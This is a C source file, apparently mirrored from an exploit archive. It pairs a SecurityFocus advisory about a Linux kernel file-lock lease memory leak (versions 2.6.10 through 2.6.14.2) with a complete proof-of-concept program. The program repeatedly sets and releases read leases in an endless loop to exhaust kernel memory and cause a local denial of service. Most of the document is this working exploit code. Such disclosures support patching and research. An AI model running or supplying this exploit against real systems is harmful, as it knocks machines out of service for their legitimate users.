58 lines
No EOL
1.1 KiB
C
58 lines
No EOL
1.1 KiB
C
/*
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source: https://www.securityfocus.com/bid/15745/info
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Linux kernel is susceptible to a local denial-of-service vulnerability.
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This issue is triggered when excessive kernel memory is consumed by numerous file-lock leases. This problem stems from a memory leak in the kernel's file-lock lease code.
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This issue allows local attackers to consume excessive kernel memory, eventually leading to an out-of-memory condition and ultimately to a denial of service for legitimate users.
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Kernel versions from 2.6.10 through to 2.6.14.2 are vulnerable to this issue.
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*/
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#include <unistd.h>
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#include <stdlib.h>
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#include <linux/fcntl.h>
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int main(int ac, char **av)
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{
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char *fname = av[0];
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int fd = open(fname, O_RDONLY);
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int r;
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while (1) {
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r = fcntl(fd, F_SETLEASE, F_RDLCK);
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if (r == -1) {
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perror("F_SETLEASE, F_RDLCK");
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exit(1);
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}
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r = fcntl(fd, F_SETLEASE, F_UNLCK);
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if (r == -1) {
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perror("F_SETLEASE, F_UNLCK");
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exit(1);
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}
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}
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return 0;
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} |